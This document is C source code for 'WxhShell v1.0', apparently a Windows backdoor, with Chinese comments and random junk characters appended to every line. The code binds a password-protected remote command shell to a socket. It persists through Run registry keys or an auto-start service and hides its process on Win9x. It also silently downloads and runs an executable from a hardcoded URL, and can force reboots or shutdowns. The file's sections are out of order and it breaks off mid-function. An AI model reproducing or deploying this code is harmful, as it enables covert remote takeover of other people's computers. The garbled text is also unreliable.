    if(Boot(SHUTDOWN)) ?%b#FXA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r~ExW}+  
    else { x, 'KI?TyQ  
    closesocket(wsh); |doG}C  
    ExitThread(0); eX'V#K#C  
    } xBE}/F$ 45  
    break; rW*[sLl3  
    } 2Xv$  
  // 获取shell X6r3$2!  
  case 's': { ,fhK  
    CmdShell(wsh); RZ?abE8  
    closesocket(wsh); S]gV!Q4%  
    ExitThread(0); < WQ ~X<1D  
    break; ?p>m ;Aq  
  } 48.4GwL7  
  // 退出 1CS\1[E  
  case 'x': { i8=+ <d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <qBM+m$|)  
    CloseIt(wsh); 2 yRUw  
    break; ixB"6O  
    } 'lOpoWDL  
  // 离开 c']m5q39'  
  case 'q': { :{ai w?1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +O7GgySx  
    closesocket(wsh); HzAw rC  
    WSACleanup(); _DYe<f.  
    exit(1); ^a7a_M  
    break; Yd<9Y\W%?  
        } 3E!3kSh|  
  } ].@8/. rg  
  } </2Cn@  
q( %)^C  
  // 提示信息 z#6(PZC}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,]tMZ?n8  
} m-Qy6"eW  
  } .cr<.Ov  
zOYG`:/'  
  return; <ti,Wn.  
} 9r 5(  
SgQ(#y|vV  
// shell模块句柄 $?DEO[p.  
int CmdShell(SOCKET sock) V%voe  
{ Z5@E|O&  
STARTUPINFO si; mJsU7bD`  
ZeroMemory(&si,sizeof(si)); |)[&V3+|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UTO$L|K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .lGN Fx  
PROCESS_INFORMATION ProcessInfo; u&e?3qKX(  
char cmdline[]="cmd"; w3"%d~/[x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n9V8A[QJ  
  return 0; 5e^z]j1Yv  
} 5a:YzQ4  
OUy} 1%HY  
// 自身启动模式 S>d7q  
int StartFromService(void)  ">q?(i\  
{ }synU]^7\  
typedef struct lN*"?%<x>  
{ +^[SXI^JaJ  
  DWORD ExitStatus; Q>WnSm5R  
  DWORD PebBaseAddress; !y3XIbdS"  
  DWORD AffinityMask; 3o#K8EL  
  DWORD BasePriority; BuOe'$F 0t  
  ULONG UniqueProcessId; ;7(vqm<V2~  
  ULONG InheritedFromUniqueProcessId; w NMA)S  
}   PROCESS_BASIC_INFORMATION; vg5fMH9ZZ  
e4;h*IQK  
PROCNTQSIP NtQueryInformationProcess; D 75;Y;E  
\OkJX_7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,8stEp9~h]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -9R.mG  
~oRT@E  
  HANDLE             hProcess; H5be5  
  PROCESS_BASIC_INFORMATION pbi; sc z8 `%  
1/A|$t[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A9z3SJ\vXl  
  if(NULL == hInst ) return 0; xiF}{25a  
v3cLU7bi?2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s^/2sjoL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5oo6d4[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [2ri=lf,  
;V bB]aUg  
  if (!NtQueryInformationProcess) return 0; Us3zvpy)o  
.~|[* q\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;bFd*8?;  
  if(!hProcess) return 0; ~l*[=0}  
iAXF;'|W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g>{t>B%v^K  
'~xiD?:  
  CloseHandle(hProcess); Sy^@v%P'A  
=27ZY Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \ (U|&  
if(hProcess==NULL) return 0; uIR   
b6'ZVB  
HMODULE hMod; w} r mYQ  
char procName[255]; J,k.*t:  
unsigned long cbNeeded; #,OiZQJC  
i"n1E@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F/"lJ/I  
2]H?q!l!O  
  CloseHandle(hProcess);  hAD gi^  
%4w#EbkSS  
if(strstr(procName,"services")) return 1; // 以服务启动 `8;\}6:"1  
Kp6%=JjO  
  return 0; // 注册表启动 1:4u]$@E  
} hO(A_Bw  
ZC)m&V 1  
// 主模块 `-5gsJ  
int StartWxhshell(LPSTR lpCmdLine) aQV?}  
{ Srrzj-9^)K  
  SOCKET wsl; tNxKpA |F  
BOOL val=TRUE; v5.KCc}"  
  int port=0; 5E2T*EXSh  
  struct sockaddr_in door; 'N/u< `)  
cgR8+o  
  if(wscfg.ws_autoins) Install(); t]xR`Rr;X  
UhSaqq  
port=atoi(lpCmdLine); 5w</Ga  
9dp1NjOtAc  
if(port<=0) port=wscfg.ws_port; #YSFiy:+r_  
}jYVB|2  
  WSADATA data; isz-MP$:K5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {-yw@Kq  
YyC$\HH6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >FL%H=]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K^%ONultv  
  door.sin_family = AF_INET; 2D"aAI<P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ephvvj~zW4  
  door.sin_port = htons(port); //yz$d>JN  
COA>y?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8/-hODoT_  
closesocket(wsl); 5B;;{GR  
return 1; H2CpZK'  
} MkM`)g 5  
8 LsJ}c  
  if(listen(wsl,2) == INVALID_SOCKET) { OOzXA%<%c  
closesocket(wsl); BKu< p<  
return 1; ~P"o_b6,k  
} A#]78lR  
  Wxhshell(wsl); Xkf|^-n  
  WSACleanup(); [vxHsY3z  
ubl)$jZ:Q  
return 0; _Pn 1n  
w+hpi5OH  
} ;t4YI7E*  
`?SLp  
// 以NT服务方式启动 ]vH:@%3U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &,$N|$yK}|  
{ ra^"Vr  
DWORD   status = 0; <BK?@Xy  
  DWORD   specificError = 0xfffffff; H_w?+Rig  
eqqnR.0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ME*A6/h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S4 s#EDs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; </_.+c [  
  serviceStatus.dwWin32ExitCode     = 0; U"L-1]L  
  serviceStatus.dwServiceSpecificExitCode = 0; BxB B](  
  serviceStatus.dwCheckPoint       = 0; zEw~t&:e  
  serviceStatus.dwWaitHint       = 0; Sp[]vm8N  
2FR 5RG oD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gN[^ ,u  
  if (hServiceStatusHandle==0) return; >*$Xbj*  
C9eisUM  
status = GetLastError(); ]aYuBoj  
  if (status!=NO_ERROR) 2h1P!4W85  
{ YAd%d|Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "lL/OmG  
    serviceStatus.dwCheckPoint       = 0; rW`l1yi*$  
    serviceStatus.dwWaitHint       = 0; Xi!e=5&Pa  
    serviceStatus.dwWin32ExitCode     = status; ~Sx\>wBlc  
    serviceStatus.dwServiceSpecificExitCode = specificError; &@'+h* b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @GF3g=  
    return; a?*pO`<J{  
  } *C.Kdf3w  
}|l7SFst  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c,}VC-  
  serviceStatus.dwCheckPoint       = 0; xggF:El3{  
  serviceStatus.dwWaitHint       = 0; \9]- (j6[H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); imyfki $B  
} uS! V_]  
%{0F.  
// 处理NT服务事件,比如:启动、停止 Us% _'}(/U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?h,.1Tb  
{ KIY9?B=+  
switch(fdwControl) o 9d|XY_  
{ ~iq=J5IN#  
case SERVICE_CONTROL_STOP: yh.WTgcW  
  serviceStatus.dwWin32ExitCode = 0; ^,` L!3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )*aAkM  
  serviceStatus.dwCheckPoint   = 0; 3!i{4/  
  serviceStatus.dwWaitHint     = 0; $ SZIJe"K  
  { w^}* <q\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lLI%J>b@  
  } ){KrBaGa4  
  return; JX`>N(K4\  
case SERVICE_CONTROL_PAUSE: gZ=$bR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N:,V{Pw  
  break; i#PR Tbc  
case SERVICE_CONTROL_CONTINUE: {a(<E8-^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N]&hw&R{Q  
  break; ,Qj\_vr@  
case SERVICE_CONTROL_INTERROGATE: CiTWjE?|7  
  break; <}F(G-kV6  
}; upFe{M@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AnpO?+\HF  
} )))AxgM  
/Z]hX*QR  
// 标准应用程序主函数 YB(8 T"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k7M{+X6[  
{ 7**zO3 H  
Y]i:$X]C?X  
// 获取操作系统版本 W9{y1,G9  
OsIsNt=GetOsVer(); ajX] ui  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rw?wlBEG%  
S(lqj6aa}  
  // 从命令行安装 qBZ;S3  
  if(strpbrk(lpCmdLine,"iI")) Install(); m; PTO$--  
1+Vei<H$  
  // 下载执行文件 S5~(3I )v  
if(wscfg.ws_downexe) { 5'_:>0}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u3sr"w&  
  WinExec(wscfg.ws_filenam,SW_HIDE); ac8su0  
} )4H0Bz2G  
,? Q1JZPy@  
if(!OsIsNt) { 8DFq eY0S  
// 如果时win9x,隐藏进程并且设置为注册表启动 |WW'qg]Uu  
HideProc(); Ld=6'C8ud  
StartWxhshell(lpCmdLine); Z 2lX^z  
} )2r_EO@3HP  
else m*v@L4t( 1  
  if(StartFromService()) VYrs4IFT$  
  // 以服务方式启动 A$?o3--#]G  
  StartServiceCtrlDispatcher(DispatchTable); TBgiA}|\D  
else fqn;,!D?9  
  // 普通方式启动 N<QLvZh  
  StartWxhshell(lpCmdLine); ~L.5;8a3Pe  
ZQmg;L&7  
return 0; $BOpjDV8  
} Htep3Ol3  
RI BB*  
='(;!3ZH  
?l`|j*  
=========================================== uC2 5pH"  
Apkb!"}>  
~-~iCIaTb  
(AHTv8  
#c-Jo[%G  
q\Z9.T+Qo  
" %@%~<U)W  
;!EEzR.  
#include <stdio.h> ppO!v?  
#include <string.h> *k0;R[IAV  
#include <windows.h> aI\]R:f,  
#include <winsock2.h> U)1hC^[!   
#include <winsvc.h> 6lwWFR+k  
#include <urlmon.h> VGOdJ|2]Wr  
8,:lw3x1  
#pragma comment (lib, "Ws2_32.lib") Gn<e&|4>i}  
#pragma comment (lib, "urlmon.lib") RMAbu*D0  
1c`Yn:H^  
#define MAX_USER   100 // 最大客户端连接数 Ua+Us"M3}  
#define BUF_SOCK   200 // sock buffer >8injW3 52  
#define KEY_BUFF   255 // 输入 buffer  8vUq8[[  
D~,i I7ac  
#define REBOOT     0   // 重启 TH+TcYqO  
#define SHUTDOWN   1   // 关机 CDDEWVd  
hxGo~<. :  
#define DEF_PORT   5000 // 监听端口 `[tYe<  
QtOT'<2t]  
#define REG_LEN     16   // 注册表键长度 RG- ,<G`  
#define SVC_LEN     80   // NT服务名长度 ST\d -x  
T"E%;'(cp)  
// 从dll定义API 3.%jet1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PH!rWR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wT:mfS09N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]kH8T'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `>`{DEDx{5  
sA+( |cEh  
// wxhshell配置信息 83Fmu/(  
struct WSCFG { # twl  
  int ws_port;         // 监听端口 |tO.@+[uqP  
  char ws_passstr[REG_LEN]; // 口令 7gt%[r M  
  int ws_autoins;       // 安装标记, 1=yes 0=no $oZV 54  
  char ws_regname[REG_LEN]; // 注册表键名 gn[h:+H&  
  char ws_svcname[REG_LEN]; // 服务名 N0fmC*1-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >n>gX/S<C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6!RK Zj)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8 HdjZ!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,m)YL>k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2X=*;r"{J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9tB:1n}  
'z Qp64]F  
}; Y>K3.*.  
;*e$k7}F  
// default Wxhshell configuration I0sw/,J/Z  
struct WSCFG wscfg={DEF_PORT, %UCuI9  
    "xuhuanlingzhe", 5R O_)G<  
    1, qox@_  
    "Wxhshell", \p!mX|  
    "Wxhshell", BR0P :h  
            "WxhShell Service", lAx8m't}6  
    "Wrsky Windows CmdShell Service", Q_A?p$%;L  
    "Please Input Your Password: ", It8@Cp.dU  
  1, <Kq!)) J'  
  "http://www.wrsky.com/wxhshell.exe", -)E6{  
  "Wxhshell.exe" +Z/aG k;  
    }; $9<P3J 1  
9K#U<Q0b'  
// 消息定义模块 )7iYx{n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @. KFWAm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fMZc_dsW9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g=kuM  
char *msg_ws_ext="\n\rExit."; L(3} H,t  
char *msg_ws_end="\n\rQuit."; 9jrlB0  
char *msg_ws_boot="\n\rReboot..."; IaRq6=[  
char *msg_ws_poff="\n\rShutdown..."; aP +)  
char *msg_ws_down="\n\rSave to "; gOn^}%4.I  
$:*/^)L  
char *msg_ws_err="\n\rErr!"; *iujJ i  
char *msg_ws_ok="\n\rOK!"; ]q@W(\I  
MJ`BlE,Fmb  
char ExeFile[MAX_PATH]; zY\MzhkX,  
int nUser = 0; | PzXN+DW  
HANDLE handles[MAX_USER]; 6s&%~6J,  
int OsIsNt; {i:Ayhq~&  
EN~ha:9  
SERVICE_STATUS       serviceStatus; EP]OJ$6I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l1}HJmom  
o%?~9rf]]  
// 函数声明 M\bea  
int Install(void); 8f-B-e?k  
int Uninstall(void); RQd5Q.  
int DownloadFile(char *sURL, SOCKET wsh); ~@EBW3>~5  
int Boot(int flag); +FtL_7[v  
void HideProc(void); )R"deb=s  
int GetOsVer(void); !8OUH6{2  
int Wxhshell(SOCKET wsl); YX6[m6L U  
void TalkWithClient(void *cs); RyN?Sn5)  
int CmdShell(SOCKET sock); ;NrU|g/ksX  
int StartFromService(void); l|~SVk|  
int StartWxhshell(LPSTR lpCmdLine); ,2^zX]dgM  
(ysDs[? \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |[ ,|S{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~b SjZ1`  
<}^l MBa  
// 数据结构和表定义 G:?l;+P1  
SERVICE_TABLE_ENTRY DispatchTable[] = V?+Y[Q  
{ Z)H9D(Za  
{wscfg.ws_svcname, NTServiceMain}, [}=/?(5  
{NULL, NULL} rTLo6wI  
}; i sV9nWo$  
FR1se  
// 自我安装 agxR V  
int Install(void) **lT ' D  
{ he1W22  
  char svExeFile[MAX_PATH]; )w!*6<  
  HKEY key; FVS@z5A8<=  
  strcpy(svExeFile,ExeFile); D}:M0EBS  
nV+]jQ~o  
// 如果是win9x系统,修改注册表设为自启动 {,b:f  
if(!OsIsNt) { pbb6?R,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <bxp/#6D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +UC-  
  RegCloseKey(key); A]"IQ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1r;.r|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b0"R |d[i  
  RegCloseKey(key); ?*)wQZt;  
  return 0; 8gI~x.k`  
    } >6zXr.  
  } ~V<62"G  
} h"5!puN+  
else { ^J$?[@qD  
q<*UeyE S  
// 如果是NT以上系统,安装为系统服务 \hT=U*dMR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # ~T K C|G  
if (schSCManager!=0) k->cqtG  
{ 4mJ[Wr\y  
  SC_HANDLE schService = CreateService p(]o#$ 6[  
  ( aw8q}:  
  schSCManager, ia}V8i  
  wscfg.ws_svcname, |qTS{qQh{L  
  wscfg.ws_svcdisp, 8q#Be1u<s2  
  SERVICE_ALL_ACCESS, - Ado-'aaS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8st~ O  
  SERVICE_AUTO_START, J`4{O:{4  
  SERVICE_ERROR_NORMAL, p[M*<==4  
  svExeFile, 0"to]=  
  NULL, >rb8A6  
  NULL, 2pQdDbm  
  NULL, C [h^bBq  
  NULL, +HOHu*D  
  NULL -%#F5br%  
  ); "G3zl{?GP  
  if (schService!=0) B '"RKs]  
  { 5Myp#!|x:  
  CloseServiceHandle(schService); H]/!J]  
  CloseServiceHandle(schSCManager); zV8^Hxl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?h4Rh0rkX  
  strcat(svExeFile,wscfg.ws_svcname); 49m}~J=*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C0@[4a$8f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XKq}^M&gy  
  RegCloseKey(key); <X,0\U!lL  
  return 0; 8~")9w  
    } R7xEE7p  
  } p&~= rp`E  
  CloseServiceHandle(schSCManager); RY]Vo8  
} @on\@~Ug  
} nY[]k p@  
XLNR%)l  
return 1; k^Q>  
} Lu@'Ee!>G  
N }tiaL4  
// 自我卸载 QirS=H+~  
int Uninstall(void) ?pJUbZ#J  
{ ;jgJI~3l  
  HKEY key; =(Ll}V,  
-h/KrB  
if(!OsIsNt) { >^fkHbgNQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eQvdi|6  
  RegDeleteValue(key,wscfg.ws_regname); hRvj iK\  
  RegCloseKey(key); %[9d1F 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~HH6=qjU)  
  RegDeleteValue(key,wscfg.ws_regname); ?QXc,*=N  
  RegCloseKey(key); y! lEGA7  
  return 0; BRg(h3 ED  
  } (;o/2Q?  
} *?GV(/Q  
} 8={ " j  
else { 7CKh?>  
m"CsJ'\ors  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4pfv?!Oj  
if (schSCManager!=0) aA5rvP +  
{ 09psqXU@I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }L1 -2  
  if (schService!=0) \-?@ &' :  
  { If*t$f>y4N  
  if(DeleteService(schService)!=0) { LgX"Qk&Ca  
  CloseServiceHandle(schService); dLs40 -R  
  CloseServiceHandle(schSCManager); a;2Lgv0/  
  return 0; *Bgk3(n)  
  } UFox v)  
  CloseServiceHandle(schService); eZ^-gk?  
  } J|z>5Z  
  CloseServiceHandle(schSCManager); s28rj6q  
} z` :uvEX0  
} X_0Ta_u?T  
9(PQ7}  
return 1; H[a1n' "<:  
} *mgK^9<  
| rDv!m  
// 从指定url下载文件 0Q1s JDa.  
int DownloadFile(char *sURL, SOCKET wsh) </OZ,3J=  
{ dfmxz7V  
  HRESULT hr; -8]M ,,?  
char seps[]= "/"; 85Hb~|0  
char *token; lQolE P.pc  
char *file; x*" 0dYH  
char myURL[MAX_PATH]; LS=HX~5C  
char myFILE[MAX_PATH]; 'L"dM9#>  
)fo9Qwe  
strcpy(myURL,sURL); >,Zf3M  
  token=strtok(myURL,seps); V>`xTQG  
  while(token!=NULL) J,bE[52  
  { SbLx`]rI  
    file=token; #$GDKK  
  token=strtok(NULL,seps); O#e'.n!rI  
  } BWbM$@'x  
wlM"Zt  
GetCurrentDirectory(MAX_PATH,myFILE); 'NJCU.lKm  
strcat(myFILE, "\\"); 5+gSpg]i  
strcat(myFILE, file); 3',|HA /x  
  send(wsh,myFILE,strlen(myFILE),0); $RYsqX\v  
send(wsh,"...",3,0); CqRG !J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q DQ$Zq[  
  if(hr==S_OK) %z(nZ%,Z  
return 0; XCGJ~  
else =3Y:DPMB  
return 1; F|3 =Cl  
U/e$.K3v  
} "1P>,\Sjg  
)rTV}Hk  
// 系统电源模块 u49v,,WGw  
int Boot(int flag) eN/o}<(e  
{ se)vi;J7K  
  HANDLE hToken; q@i,$R  
  TOKEN_PRIVILEGES tkp; S9$*w!W  
X0,?~i6Q  
  if(OsIsNt) { 1Fado$# 7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7n-;++a5]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zF6]2Y?k%  
    tkp.PrivilegeCount = 1; R(?g+:eCpM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iY /N%T;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <23oyMR0  
if(flag==REBOOT) { w!0`JPu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a]<y*N?qu  
  return 0; pV>M, f  
} s/,wyxKd  
else { kAF[K,G G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e%(,)WlTaU  
  return 0; |z!Y,zaX  
} 3J2j5N:g  
  } _`/: gkZS  
  else { zqaz1rt[  
if(flag==REBOOT) { =kp-[7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O<0G\sU  
  return 0; z9k3@\7  
} rKR2v (c  
else { !+;'kI2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X\r?g  
  return 0; Q0)6 2[cMm  
} kvzGI>H:  
} Fxu'(xa  
6gLk?^.  
return 1; f\W1u#;u)  
} D0(%{S^  
_E[zYSo`  
// win9x进程隐藏模块 pNN6PsLt  
void HideProc(void) n5Ad@Bg  
{ [MmOPm}@  
kxJ! #%w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d]JiJgfa%  
  if ( hKernel != NULL ) %1uY  
  { hrpql_9.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #S57SD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =Fq"lq %  
    FreeLibrary(hKernel); "t4$%7L]  
  } k^ CFu  
eIz T(3(  
return; vZHm'  
} de?Bn+mvi.  
r sf +dC  
// 获取操作系统版本 Iv6(Z>pAB  
int GetOsVer(void) Hshm;\'  
{ @z8,XW }  
  OSVERSIONINFO winfo; wHSas[4k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mHqw,28}  
  GetVersionEx(&winfo); 2|xNT9RW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r Z0+mS'/G  
  return 1; pDGX$1O"  
  else W}<'Y@[ ,  
  return 0; lg)jc3  
} 1gEeZ\B-&  
1m*fkM#  
// 客户端句柄模块 01n5]^.p  
int Wxhshell(SOCKET wsl) +Ar=89  
{ "~y@rqIba  
  SOCKET wsh; qNI2+<u)j  
  struct sockaddr_in client; ('qu#.'  
  DWORD myID; (Kl96G<Wej  
c#?JW:^|Df  
  while(nUser<MAX_USER) >[]@Df,p  
{ l$ABOtM@  
  int nSize=sizeof(client); ,J|8P{ZO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EgAM,\  
  if(wsh==INVALID_SOCKET) return 1; W0 n/B &C  
o ]UG*2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |p"P+"#  
if(handles[nUser]==0)  ~yQby&s  
  closesocket(wsh); P8l x\DA  
else `uz15])1<  
  nUser++; $9pFRQC'q  
  } KTV~g@Jf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yx4TUA$c'  
oMH-mG7:K  
  return 0; R;2tb7o  
} }%K)R 5C  
D -Goi-4  
// 关闭 socket *~~&*&+  
void CloseIt(SOCKET wsh) |{ E\ 2U  
{ |5o0N8!b[  
closesocket(wsh); ZT>?[`Vgc  
nUser--; &F4khga`^:  
ExitThread(0); V) #vvnq  
} bL: !3|M  
g4(vgWOW`  
// 客户端请求句柄 pIKQx5;  
void TalkWithClient(void *cs) p<5ED\;N;  
{ XG]ltSOy  
M=Y}w?  
  SOCKET wsh=(SOCKET)cs; v%_5!SR  
  char pwd[SVC_LEN]; W`}C0[%VW  
  char cmd[KEY_BUFF]; @D<q=:k  
char chr[1]; mJBvhK9%  
int i,j; s68&AB   
%E\&9,  
  while (nUser < MAX_USER) { L0\97AF  
95Q{d'&  
if(wscfg.ws_passstr) { &/K:zWk3mx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z^AOV:|m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vYT%e:8)q  
  //ZeroMemory(pwd,KEY_BUFF); cVHv>nd#  
      i=0; CAGaZ rx  
  while(i<SVC_LEN) { m&EJ @,H  
f9A^0A?c  
  // 设置超时 *\9JIi 2  
  fd_set FdRead; 0/".2(\}T  
  struct timeval TimeOut; rQ0V3x1"Qx  
  FD_ZERO(&FdRead); y6.Q\=  
  FD_SET(wsh,&FdRead); "i+fO&LpZ  
  TimeOut.tv_sec=8; ?.&]4z([  
  TimeOut.tv_usec=0; DOi\DJV!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J&%d(EJM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h?f)Bt}ry  
{fi:]|<1h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FX+;azE7  
  pwd=chr[0]; &&Sl0(6x[T  
  if(chr[0]==0xd || chr[0]==0xa) { ~-r*2bR  
  pwd=0;  yQkj4v{  
  break; y#[PQ T  
  } obUX7N  
  i++; i3T]<&+j5  
    } dW3q  
1aC ?*,e?  
  // 如果是非法用户,关闭 socket zLQplw`#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F<'@T,LVc  
} sq6|J])GgU  
"xS?#^a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nl9G1Sm(E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N7A/&~g5L  
N%1T>cp0  
while(1) { =d#3& R]p  
%xE9vN;  
  ZeroMemory(cmd,KEY_BUFF); P{ AJH1  
2jQ|4$9j  
      // 自动支持客户端 telnet标准   P4vW.|@  
  j=0; * A B  
  while(j<KEY_BUFF) { l1X& Nw1W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <mE)& 7C  
  cmd[j]=chr[0]; bL`O k  
  if(chr[0]==0xa || chr[0]==0xd) { p 4k*vuu>  
  cmd[j]=0; ISy\g`d`C  
  break; &5fM8 Opkd  
  } vi+k#KE  
  j++; V#!ftu#c?  
    } 1-.UkdZ}  
X|Gsf= 1S  
  // 下载文件 AplXl=  
  if(strstr(cmd,"http://")) { ocwh*t)<k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wIi_d6?  
  if(DownloadFile(cmd,wsh)) 2=pVX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*[3Imq/  
